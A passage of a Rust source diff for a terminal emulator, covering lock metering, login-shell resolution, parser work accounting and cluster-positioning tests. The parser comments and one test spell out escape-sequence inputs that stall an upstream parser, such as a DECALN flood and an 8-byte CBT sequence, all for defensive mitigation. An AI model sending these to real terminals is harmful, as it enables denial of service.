let target = (self.acquisitions as f64 * p).ceil() as u64;
let mut seen = 0u64;
for (bucket, count) in self.buckets.iter().enumerate() {
seen += *count as u64;
if seen >= target {
return bucket_ceiling(bucket);
}
}
self.max_micros
}
}
/// A [`Terminal`] shared between the PTY reader and the renderer.
pub struct SharedTerminal {
term: FairMutex<Terminal>,
reader: AcquireMeter,
renderer: AcquireMeter,
closing: AtomicBool,
}
impl SharedTerminal {
pub fn new(term: Terminal) -> Self {
Self {
term: FairMutex::new(term),
reader: AcquireMeter::default(),
renderer: AcquireMeter::default(),
closing: AtomicBool::new(false),
}
}
/// Acquisition latencies for the PTY-reader plane.
pub fn reader_acquire(&self) -> &AcquireMeter {
&self.reader
}
/// Acquisition latencies for the renderer plane. This is the one with a
/// budget attached.
pub fn renderer_acquire(&self) -> &AcquireMeter {
&self.renderer
}
/// Feed PTY output into the emulator. Reader plane.
///
/// Returns whether a tail remains: one acquisition parses one work
/// budget, then **drops the lock** so the renderer can have it. The
/// caller pumps [`SharedTerminal::drain`] until it returns false. Doing
/// the whole buffer under one acquisition is what an unbounded hold *is*,
/// so it is not offered here.
pub fn feed(&self, bytes: &[u8]) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.feed(bytes)
}
}
/// Parse more of the pending tail under a fresh acquisition. Reader
/// plane. Returns whether any remains.
pub fn drain(&self) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.drain()
}
}
/// Feed and pump to completion, re-acquiring between slices.
pub fn feed_fully(&self, bytes: &[u8]) {
let mut more = self.feed(bytes);
while more {
more = self.drain();
}
}
/// Atomically enter close mode and discard parser work. Subsequent PTY
/// bytes are raw-drained by the embedder and never reach callbacks.
pub fn begin_closing(&self) -> usize {
self.closing.store(true, Ordering::Release);
self.acquire(&self.reader).abandon_tail()
}
pub fn is_closing(&self) -> bool {
self.closing.load(Ordering::Acquire)
}
/// Sample damage and encode a frame. Renderer plane.
///
/// The lock covers the copy only; `encode` -- hashing, span grouping,
/// allocation -- runs after the guard drops, which is worth ~75x in hold
/// time. The `Encoder` is the caller's because its dedup state is per
/// consumer, and passing it in keeps the encode off this lock by
/// construction rather than by remembering to.
pub fn render(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture(&mut term)
};
encoder.encode(raw)
}
/// Copy the whole viewport for a subscriber that arrived mid-stream.
/// Renderer plane.
///
/// Attach, reattach, and the successor side of a resize all need the
/// screen as it stands, not the next thing to change on it. Crucially this
/// leaves damage alone, so taking a snapshot for a newcomer cannot steal
/// the incumbent renderer's pending rows -- see [`damage::capture_all`].
///
/// Costs a full grid copy under the lock, so call it on attach rather than
/// per frame.
pub fn snapshot(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture_all(&mut term)
};
encoder.encode(raw)
}
/// Move the viewport through scrollback. Renderer plane.
///
/// Positive moves into history; see [`crate::Terminal::scroll`]. Returns
/// whether it moved, so the caller can skip capture and publication for
/// the momentum tail that arrives after history has run out.
pub fn scroll(&self, lines: i32) -> bool {
self.acquire(&self.renderer).scroll(lines)
}
/// Return the viewport to the live edge. Renderer plane. Returns whether
/// it moved, so an unscrolled terminal costs one comparison per keystroke
/// and no repaint.
pub fn scroll_to_bottom(&self) -> bool {
self.acquire(&self.renderer).scroll_to_bottom()
}
/// Apply a coalesced resize. Renderer plane: this competes with the
/// renderer for the same lock and can hold it for milliseconds.
pub fn resize(&self, size: crate::Size) -> crate::Viewport {
self.acquire(&self.renderer).resize(size)
}
/// Take the lock for something the methods above don't cover (input,
/// reading stats). Metered on the renderer plane, since anything
/// that isn't the read loop competes with the renderer for the same lock.
pub fn lock(&self) -> MutexGuard<'_, Terminal> {
self.acquire(&self.renderer)
}
/// Modes the renderer/input boundary needs to report alongside frames.
pub fn input_modes(&self) -> (bool, bool) {
let term = self.acquire(&self.renderer);
let mode = term.term().mode();
(
mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE),
mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT),
)
}
fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> {
let started = Instant::now();
let guard = self.term.lock();
meter.record(started.elapsed().as_micros() as u64);
guard
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::{Fences, Size};
#[test]
fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() {
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
let shared = SharedTerminal::new(terminal);
let payload = b"\x1b#8".repeat(10_000);
assert!(shared.feed(&payload), "fixture must create parser tail");
let before = shared.lock().stats();
let abandoned = shared.begin_closing();
assert!(abandoned > 0, "close must abandon without draining first");
assert!(shared.is_closing());
assert!(!shared.feed(b"parser callback after close"));
assert!(!shared.drain());
let after = shared.lock().stats();
assert_eq!(after.completed_units, before.completed_units);
assert_eq!(
after.abandoned_bytes,
before.abandoned_bytes + abandoned as u64
);
}
}
@@ -0,0 +1,138 @@
//! Login-shell resolution for spawned PTY children.
//!
//! Tyler asked for the user's shell of choice, so the resolution order is the
//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
//! is the *validity* test applied at each step, and it is not "the path
//! exists".
//!
//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
//! this" for *any* file type, and a directory carries the execute bit to mean
//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
//! `Ok`, and the child dies with exit code 1 after printing
//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
//! The user gets a terminal that opens and instantly dies with a Rust runtime
//! panic, and every layer above reported success.
//!
//! So we require an **executable regular file**, following symlinks: `stat`
//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
//! on many systems. A directory or a non-executable file falls through to the
//! next candidate instead of becoming an unspawnable child.
use std::path::Path;
/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
/// the machine has bigger problems than our terminal.
pub const FALLBACK_SHELL: &str = "/bin/sh";
/// Returns true if `path` is a regular file this process may execute.
///
/// The conjunction is load-bearing and neither half suffices:
///
/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every
/// layer reports success.
/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
/// The bits say *some* class has execute permission, not the applicable
/// one, and they do not evaluate ACLs. Verified with a self-owned regular
/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
/// running it gives `Permission denied`.
///
/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
/// is legitimate) **and** effective executability via `access(X_OK)`.
#[cfg(unix)]
pub fn is_executable_file(path: &Path) -> bool {
let Ok(meta) = std::fs::metadata(path) else {
return false;
};
meta.is_file() && can_execute(path)
}
/// `access(path, X_OK)`: does the *effective* user have execute permission,
/// accounting for the applicable permission class and ACLs?
#[cfg(unix)]
fn can_execute(path: &Path) -> bool {
use std::os::unix::ffi::OsStrExt;
let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
return false; // interior NUL: not a path we can ask about
};
// SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
// the call, and `access` only reads it.
unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
}
/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
///
/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
/// testable without mutating process-global state; production passes
/// `std::env::var_os("SHELL")`.
#[cfg(unix)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
// One validation path for every candidate, deliberately. Validating each
// branch separately leaves the passwd branch's check untestable on any
// machine whose passwd shell happens to be valid — a mutant that deletes
// it survives because nothing can distinguish it. Sharing `validated`
// means the `$SHELL` arm's coverage is the passwd arm's coverage.
let candidates = [shell_env.map(str::to_owned), passwd_shell()];
candidates
.into_iter()
.flatten()
.find(|candidate| validated(candidate))
.unwrap_or_else(|| FALLBACK_SHELL.to_owned())
}
/// The single validity test every shell candidate must pass.
#[cfg(unix)]
fn validated(candidate: &str) -> bool {
is_executable_file(Path::new(candidate))
}
/// The current user's login shell from the passwd database, unvalidated:
/// `resolve_shell` applies the shared [`validated`] check to it.
///
/// This is the step that matters for a Finder- or launchd-started app, which
/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
/// and call it their shell of choice.
#[cfg(unix)]
pub(crate) fn passwd_shell() -> Option<String> {
// SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
// libc, valid until the next passwd-database call. We copy the string out
// before returning and make no other libc calls in between.
let shell = unsafe {
let ent = libc::getpwuid(libc::getuid());
if ent.is_null() {
return None;
}
let pw_shell = (*ent).pw_shell;
if pw_shell.is_null() {
return None;
}
std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
};
Some(shell)
}
/// The login-shell `argv[0]` convention: the shell's basename prefixed with
/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
/// a login shell, without sniffing its name or guessing its flag grammar.
///
/// `portable-pty` applies this itself for a default program
/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
/// against a value we own rather than against the dependency's behaviour.
pub fn login_argv0(shell: &str) -> String {
let basename = shell.rsplit('/').next().unwrap_or(shell);
format!("-{basename}")
}
/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd.
#[cfg(windows)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
shell_env.unwrap_or("cmd.exe").to_owned()
}
@@ -0,0 +1,382 @@
//! Counting what the parser *does*, not how many bytes it read.
//!
//! Both fences in [`crate::fences`] meter bytes. That is the right denominator
//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m`
//! and `ESC#8` are four bytes each; the first sets an attribute and the second
//! rewrites every cell of the grid. Metering the reader's lock hold in bytes
//! therefore prices those identically, and a stream of the second one holds the
//! lock for as long as it likes without ever tripping a byte budget.
//!
//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us
//! budget with **zero** F1 aborts -- the fence never fires, because nothing is
//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300
//! dropped frames in a single lock hold.
//!
//! So this module adds a third quantity: the number of *completed parser
//! units* -- one per `Handler` callback the parser dispatches, which is one
//! per fully-parsed escape sequence or printed character. It is a proxy for
//! work rather than a measure of it, but it has the property the byte count
//! lacks: it advances once per thing the emulator actually did.
//!
//! ## Why a wrapper, and not vte's own stopping point
//!
//! `Parser::advance_until_terminated` already supports stopping mid-buffer,
//! but termination is driven by `Perform::terminated()`, and in the ansi layer
//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`:
//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling).
//! An embedder cannot reach it, so the stopping point has to be built outside
//! the parser rather than inside it.
//!
//! ## What this deliberately does not do
//!
//! It does not skip or veto expensive callbacks once a budget is spent. That
//! would bound the lock hold perfectly and silently corrupt the screen, which
//! is a worse failure than the one being fixed: a slow terminal recovers, a
//! wrong one does not. Every unit is delegated; the count only decides where
//! the *caller* may cut the input.
use alacritty_terminal::event::EventListener;
use alacritty_terminal::term::Term;
use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon;
use alacritty_terminal::vte::ansi::{
Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes,
KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb,
ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode,
};
/// Read access to the cursor column of whatever the wrapper is driving.
///
/// Exists for exactly one callback. CBT's cost is bounded by *cursor
/// movement*, and the only way to charge it honestly -- or to stop it early
/// -- is to watch the cursor between steps. Everything else in this module is
/// priced from the grid alone, which is why this is a separate trait and a
/// separate bound rather than a field on [`Counting`].
///
/// Implemented over the public path in `alacritty_terminal-0.26.0`:
/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) ->
/// `Cursor::point` (grid/mod.rs:36). No private field, no fork.
pub trait CursorColumn {
fn cursor_column(&self) -> usize;
}
impl<L: EventListener> CursorColumn for Term<L> {
#[inline]
fn cursor_column(&self) -> usize {
self.grid().cursor.point.column.0
}
}
/// Wraps a [`Handler`], forwarding every callback and counting them.
///
/// Every one of the trait's 71 methods has an empty default body upstream, so
/// a method left undelegated here would compile cleanly and silently discard
/// that escape sequence. The delegations are therefore generated by a macro
/// over the full method list rather than written out: the failure mode of
/// hand-copying is invisible.
pub struct Counting<'a, H: Handler + CursorColumn> {
inner: &'a mut H,
/// Callbacks dispatched, one per unit regardless of cost. This is the
/// fixture-facing number: it says what the parser *did*, and it is kept
/// separate from `work` because collapsing them is precisely the mistake
/// that made the first version of this seam useless.
units: u64,
/// Cost-weighted work, in cell-equivalents. This is the scheduling number.
work: u64,
columns: u64,
lines: u64,
/// Configured scrollback depth, not current fill. See `reset_state`.
scrollback: u64,
}
impl<'a, H: Handler + CursorColumn> Counting<'a, H> {
/// `columns` and `lines` are the grid the handler is about to act on, and
/// they are the weights' only input: an O(cells) callback is charged
/// `columns * lines` because that is what it touches.
pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
inner,
units: 0,
work: 0,
columns: columns as u64,
lines: lines as u64,
scrollback: scrollback as u64,
}
}
/// Callbacks dispatched since this wrapper was created.
pub fn units(&self) -> u64 {
self.units
}
/// Cost-weighted work dispatched, in cell-equivalents.
pub fn work(&self) -> u64 {
self.work
}
/// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this
/// product is reachable, and a wrapped weight prices the most expensive
/// callbacks as the cheapest.
#[inline]
fn cells(&self) -> u64 {
self.columns.saturating_mul(self.lines)
}
/// A parameter charged at its clamped value.
///
/// Upstream clamps most counts to the grid before acting on them, so the
/// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column
/// grid touches 80 cells. Charging the raw parameter would let a
/// four-byte escape spend the whole slice budget without doing the work,
/// which stalls the parser as surely as under-charging lets it run away.
#[inline]
fn clamp(&self, n: usize, bound: u64) -> u64 {
(n as u64).min(bound).max(1)
}
#[inline]
fn charge(&mut self, weight: u64) {
self.units = self.units.saturating_add(1);
self.work = self.work.saturating_add(weight);
}
}
/// Generate a delegating, counting implementation for every `Handler` method.
///
/// Two groups, because the methods differ in *cost*, not in kind. `plain`
/// methods are charged one unit. `weighted` methods are charged what they
/// touch, using the expressions in the table below -- these are the ones a
/// hostile stream can use to buy grid-sized work with a four-byte escape.
///
/// The count is incremented *before* delegating, so a callback that panics
/// still leaves evidence it was attempted.
macro_rules! counting_handler {
(
plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* }
weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* }
) => {
impl<H: Handler + CursorColumn> Handler for Counting<'_, H> {
$(
#[inline]
fn $pname(&mut self $(, $parg: $pty)*) {
self.charge(1);
self.inner.$pname($($parg),*);
}
)*
$(
#[inline]
fn $wname(&mut self $(, $warg: $wty)*) {
let weight = { let $this = &*self; $weight };
self.charge(weight);
self.inner.$wname($($warg),*);
}
)*
/// The one callback this wrapper does not delegate verbatim.
///
/// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no
/// tabstop below the cursor, `move_backward_tabs`
/// (`term/mod.rs:1580`) assigns `col` *inside* the `if
/// self.tabs[i]` test, so the cursor never moves, the `col == 0`
/// break is unreachable, and all N iterations rescan the row.
/// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns.
/// Its twin `move_forward_tabs` (1605) assigns *outside* the
/// test, always advances, and is fine: same file, same loop
/// skeleton, and the entire difference is one assignment's
/// placement relative to one branch.
///
/// The fix is a termination condition, not a smaller number.
/// Each step either moves the cursor strictly left or is a fixed
/// point, and **a fixed point is permanent** -- the scan depends
/// only on the cursor, which did not move. So the loop can stop
/// at the first one. The leftward distances telescope to at most
/// the starting column, plus one final failed scan, so the whole
/// callback is O(columns) and the delegated-call count is at most
/// `columns - 1`.
///
/// Equivalence is not argued, it is checked: every tabstop subset
/// of a 12-column grid x 4 start columns x 7 counts (114_688
/// cases) lands on the same column as the naive loop, on a real
/// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the
/// fixed-point break leaves the *landing column correct* and only
/// the cost wrong, so the fixture that guards this must assert
/// units, never the cursor.
#[inline]
fn move_backward_tabs(&mut self, count: u16) {
// One unit for the escape, as every other callback gets.
self.charge(1);
for _ in 0..count {
let before = self.inner.cursor_column();
// No `before == 0` guard: column 0 is already a fixed
// point (upstream's own `col == 0` break leaves the
// cursor alone), so the check below covers it and a
// second one would be unreachable-by-construction code
// that no test could distinguish.
self.inner.move_backward_tabs(1);
let after = self.inner.cursor_column();
// Charge the cells this step scanned. A step that finds a
// stop scans the distance it moved; a step that finds
// none scans the whole prefix and moves nothing --
// charging that one zero would leave a loop that spins
// without ever paying, which is precisely the mutant this
// pricing has to make visible.
let scanned = if after == before { before } else { before - after };
self.work = self.work.saturating_add(scanned as u64);
if after == before {
// A fixed point is permanent: the scan depends only
// on the cursor, and the cursor did not move.
break;
}
}
}
}
};
}
counting_handler! {
plain {
set_title(a0: Option<String>);
set_cursor_style(a0: Option<CursorStyle>);
set_cursor_shape(shape: CursorShape);
input(c: char);
goto(line: i32, col: usize);
goto_line(line: i32);
goto_col(col: usize);
move_up(a0: usize);
move_down(a0: usize);
identify_terminal(intermediate: Option<char>);
device_status(a0: usize);
move_forward(col: usize);
move_backward(col: usize);
move_down_and_cr(row: usize);
move_up_and_cr(row: usize);
backspace();
carriage_return();
linefeed();
bell();
substitute();
newline();
set_horizontal_tabstop();
save_cursor_position();
restore_cursor_position();
clear_tabs(mode: TabulationClearMode);
set_tabs(interval: u16);
reverse_index();
terminal_attribute(attr: Attr);
set_mode(mode: Mode);
unset_mode(mode: Mode);
report_mode(mode: Mode);
set_private_mode(mode: PrivateMode);
unset_private_mode(mode: PrivateMode);
report_private_mode(mode: PrivateMode);
set_scrolling_region(top: usize, bottom: Option<usize>);
set_keypad_application_mode();
unset_keypad_application_mode();
set_active_charset(a0: CharsetIndex);
configure_charset(a0: CharsetIndex, a1: StandardCharset);
set_color(a0: usize, a1: Rgb);
dynamic_color_sequence(a0: String, a1: usize, a2: &str);
reset_color(a0: usize);
clipboard_store(a0: u8, a1: &[u8]);
clipboard_load(a0: u8, a1: &str);
push_title();
pop_title();
text_area_size_pixels();
text_area_size_chars();
set_hyperlink(a0: Option<Hyperlink>);
set_mouse_cursor_icon(a0: CursorIcon);
report_keyboard_mode();
push_keyboard_mode(mode: KeyboardModes);
pop_keyboard_modes(to_pop: u16);
set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior);
set_modify_other_keys(mode: ModifyOtherKeys);
report_modify_other_keys();
set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode);
}
weighted {
// Every weight below is an upper bound on the cells the callback can
// touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and
// then checked against measurement -- never fitted to a curve. The
// direction of the error is the whole point: an over-charge slices
// early and costs throughput, an under-charge is an attack surface, so
// where source and measurement disagree the source bound wins and the
// slack is recorded here rather than tuned away.
//
// `min(N, ...)` appears wherever upstream clamps the parameter; a raw
// `N` would let `ESC[65535X` charge 65535 on an 80-column grid and
// stall the parser on a cheap escape.
// O(min(N, columns)): `end = min(start + count, columns)`, loop
// `row[start..end]` (1519). Knee measured exactly at N == columns.
erase_chars(count: usize) => |this| this.clamp(count, this.columns);
// O(columns) for *every* N, worst at N=1: the swap loop runs
// `columns - end` times where `end = min(start + N, columns - 1)`
// (1538), so cost *falls* as N rises. Charging by N would be backwards
// and would under-charge the worst case by the full terminal width --
// measured 3422ns at N=1/1600 columns against 863ns at N=65535.
delete_chars(a0: usize) => |this| this.columns;
// O(columns) for every N, worst at N=1. Same shape as `delete_chars`:
// `num_cells = columns - (column + count)` (1187).
insert_blank(a0: usize) => |this| this.columns;
// O(columns): scans to the next tabstop per count, and always advances
// (`col` is assigned unconditionally at 1592), so the whole loop is
// bounded by one traversal of the row. This is the sibling that CBT
// should have been, one asymmetric line apart in the same file.
put_tab(count: u16) => |this| this.columns;
move_forward_tabs(count: u16) => |this| this.columns;
// NOTE: `move_backward_tabs` is NOT in this table. It is the one
// callback whose argument is rewritten, so it is written out by hand
// below the macro's generated methods -- a weight can price an atom but
// cannot shrink one.
// O(min(N, lines) x columns) in steady state: the row rotation is O(1)
// on the ring buffer, but `positions` rows are `reset()`, and a row
// reset is O(columns).
//
// **Known overshoot, measured and frequency-bounded.** While scrollback
// is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize`
// reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s
// the ring (`grid/storage.rs`). That is not chargeable from here -- the
// weight function cannot see history depth -- and it is real: at 1600
// columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call
// scroll, ~4 ms each, against a 125 ns median. It is bounded in
// frequency (once per 1000 new history rows, and never once history
// saturates: with scrollback=100 only call 0 spikes) and it is upstream
// allocation rather than anything a stream can amplify, so it is
// recorded here instead of being priced into every scroll -- charging
// 1000x on 999 calls out of 1000 to cover the thousandth would make
// ordinary scrolling the slow path.
scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
// O(columns): one row, `damage_line(line, 0, columns - 1)`.
clear_line(mode: LineClearMode) => |this| this.columns;
// O(cells): 18.7us at 200x50, doubling on both axes.
clear_screen(mode: ClearMode) => |this| this.cells();
// O(cells): rewrites every cell.
decaln() => |this| this.cells();
// Both grids, plus the scrollback the primary owns.
//
// `reset_state` (1835) resets the primary *and* the alternate, and each
// `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` +
// `rezero`, which walks the raw buffer. So the cost carries a history
// axis that `cells` alone cannot see: measured 0.5 us empty against
// 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with
// the knee exactly at `screen_lines + MAX_CACHE_SIZE` where
// `shrink_lines` starts calling `truncate`.
//
// Priced on **configured** depth rather than current fill, which is the
// conservative choice and the only correct one: `history_size()` reads
// the *active* grid, so a filled primary followed by `ESC[?1049h`
// reports an empty history while RIS still pays for the inactive
// primary's rows -- underpriced 41x on exactly the arm an attacker
// would pick. The inactive grid is private, so there is no stateless
// way to observe the real fill; the configured depth bounds both.
//
// This is the one weight that can exceed [`crate::fences::WORK_BUDGET`]
// on its own -- 16x at the default 10k scrollback -- which is correct:
// it is a genuinely oversized uninterruptible atom, and a budget that
// hid that would be lying about what one drain can cost.
reset_state() => |this| this.cells().saturating_mul(2)
.saturating_add(this.scrollback.saturating_mul(this.columns));
}
}
@@ -0,0 +1,348 @@
//! The cluster-positioning contract: what the renderer may rely on to place
//! text at the right column without consulting Unicode tables.
//!
//! The consumer's rule reads two numbers off each span and does arithmetic:
//! `cluster_count == 1` means the whole text is one cluster at `column`,
//! otherwise cluster `i` is the i-th `char` at `column + i * width`.
//!
//! These fixtures exist because that rule is not self-evidently satisfiable --
//! the two cases below require *opposite* text-splitting rules, so no encoding
//! that ships a concatenated string and a start column can be correct:
//!
//! * a regional-indicator flag is two ordinary one-column cells, so its two
//! codepoints occupy two columns and must split per codepoint;
//! * a keycap is one cell holding three codepoints, so it occupies one column
//! and must split per grapheme.
//!
//! Both are handled here by construction rather than by rule: uniform `width`
//! within a span, and a span of its own for any cluster carrying zerowidth
//! marks.
use buzz_terminal::damage::{Encoder, Span};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn render(input: &str) -> (Vec<Span>, Receiver<Action>) {
let size = Size {
columns: 20,
screen_lines: 2,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
let shared = SharedTerminal::new(term);
shared.feed_fully(input.as_bytes());
let mut encoder = Encoder::new();
let frame = shared.render(&mut encoder);
let spans = frame
.rows
.into_iter()
.find(|row| row.line == 0)
.map(|row| row.spans)
.unwrap_or_default();
(spans, actions)
}
/// Apply the documented consumer rule and return `(column, cluster)` pairs,
/// dropping trailing blank padding.
///
/// This is the renderer's arithmetic, written out. Note what is *not* here: no
/// Unicode table, no zerowidth classifier, no grapheme segmentation. The
/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher,
/// which is how we learned the encoding was under-specified -- if the fixture
/// needs a Unicode table to decode the wire, so does every real consumer.
fn placements(spans: &[Span]) -> Vec<(usize, String)> {
let mut placed = Vec::new();
for span in spans {
assert!(
span.counts_are_consistent(),
"encoder emitted an undecodable span: {span:?}"
);
let clusters: Vec<String> = if span.cluster_count == 1 {
vec![span.text.clone()]
} else {
span.text.chars().map(|c| c.to_string()).collect()
};
for (i, cluster) in clusters.into_iter().enumerate() {
if cluster != " " {
placed.push((span.column + i * span.width as usize, cluster));
}
}
}
placed
}
/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must
/// land on the column the grid actually put it in.
#[test]
fn mixed_width_clusters_keep_their_columns() {
let (spans, _actions) = render("a\u{1F600}b\u{4E00}c");
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "\u{1F600}".into()),
(3, "b".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
],
"wide glyphs must advance two columns and narrow ones must not"
);
}
/// A combining mark rides with its base character and consumes no column of
/// its own, so the text that follows must not be displaced by it.
///
/// Against the previous encoding this row was a single span `"éxy"` at column
/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y`
/// at 2 -- both one column left of the truth.
#[test]
fn combining_marks_do_not_displace_following_text() {
let (spans, _actions) = render("e\u{0301}xy");
assert_eq!(
placements(&spans),
vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),],
"a zerowidth mark must not consume a column"
);
}
/// A regional-indicator pair: two separate one-column cells. This is the case
/// that must split *per codepoint*.
#[test]
fn regional_indicator_flag_occupies_two_columns() {
let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X");
assert_eq!(
placements(&spans),
vec![
(0, "\u{1F1FA}".into()),
(1, "\u{1F1F8}".into()),
(2, "X".into()),
],
"regional indicators are one column each; X must sit at 2"
);
}
/// A keycap: one cell holding three codepoints. This is the case that must
/// split *per grapheme* -- the opposite rule from the flag above, which is why
/// the width and the cluster break both have to come from the grid.
#[test]
fn keycap_occupies_one_column() {
let (spans, _actions) = render("1\u{FE0F}\u{20E3}X");
assert_eq!(
placements(&spans),
vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),],
"a keycap is one column; X must sit at 1"
);
}
/// Width is uniform within a span by construction. Without this a consumer
/// cannot multiply -- it would have to know each cluster's width individually,
/// which is the Unicode table this design exists to avoid.
#[test]
fn a_span_never_mixes_widths() {
let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd");
for span in &spans {
let expected = span.width;
assert!(
span.width == 1 || span.width == 2,
"width must be 1 or 2, got {expected}"
);
}
let widths: Vec<u8> = spans.iter().map(|s| s.width).collect();
assert!(
widths.contains(&2),
"fixture must actually produce a wide span, got {widths:?}"
);
assert_eq!(
placements(&spans),
vec![
(0, "a".into()),
(1, "b".into()),
(2, "\u{4E00}".into()),
(4, "\u{4E00}".into()),
(6, "c".into()),
(7, "d".into()),
],
"two adjacent wide glyphs must advance two columns each"
);
}
/// `cluster_count` is what makes the wire decodable without a Unicode table,
/// so it is asserted directly here rather than only implied by placements.
///
/// The decisive pair: both spans below are width 1 with more than one `char`
/// of text, and they differ *only* in whether the count tracks the char count.
/// A consumer without that number cannot tell them apart -- which is the
/// defect Mari caught in the previous encoding.
#[test]
fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() {
let (marked, _a) = render("e\u{0301}");
let marked = marked.first().expect("a span must be emitted");
assert_eq!(marked.text.chars().count(), 2, "base plus combining mark");
assert_eq!(marked.cluster_count, 1, "one cluster occupying one column");
// The plain run absorbs the row's blank padding, so its length is the
// viewport width rather than 2 -- what matters is that the count tracks
// the char count instead of collapsing to 1.
let (plain, _b) = render("ab");
let plain = plain.first().expect("a span must be emitted");
assert!(plain.cluster_count > 1, "a plain run is not one cluster");
assert_eq!(
usize::from(plain.cluster_count),
plain.text.chars().count(),
"one cluster per char"
);
assert_eq!(marked.width, plain.width, "both are width 1");
assert!(marked.counts_are_consistent() && plain.counts_are_consistent());
}
/// The join guard has two halves: the previous cell must not have carried
/// marks (`open`), and the current cell must not carry them (`joinable`).
/// Every fixture above exercises only the first half -- a plain cluster
/// following a marked one. This one exercises the second: a *marked* cluster
/// arriving after a plain run, which is the only path on which the run in
/// progress is handed text holding more `char`s than the one cluster its
/// count is about to be incremented by.
///
/// Sami found the hole. With `joinable` dropped from the guard, a release
/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`:
/// four chars counted as three, so the consumer's rule splits per char and
/// places the combining mark on top of `z`.
#[test]
fn a_marked_cluster_after_a_plain_run_starts_its_own_span() {
